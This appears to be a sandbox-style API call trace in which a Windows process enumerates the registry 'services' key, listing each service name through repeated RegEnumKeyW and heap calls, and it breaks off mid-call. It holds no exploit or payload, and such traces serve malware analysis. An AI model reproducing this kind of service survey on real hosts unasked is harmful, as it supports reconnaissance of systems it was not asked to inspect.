[0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.894] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.894] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.894] RegCloseKey (hKey=0x150) returned 0x0 [0259.894] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0259.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0259.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0259.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, 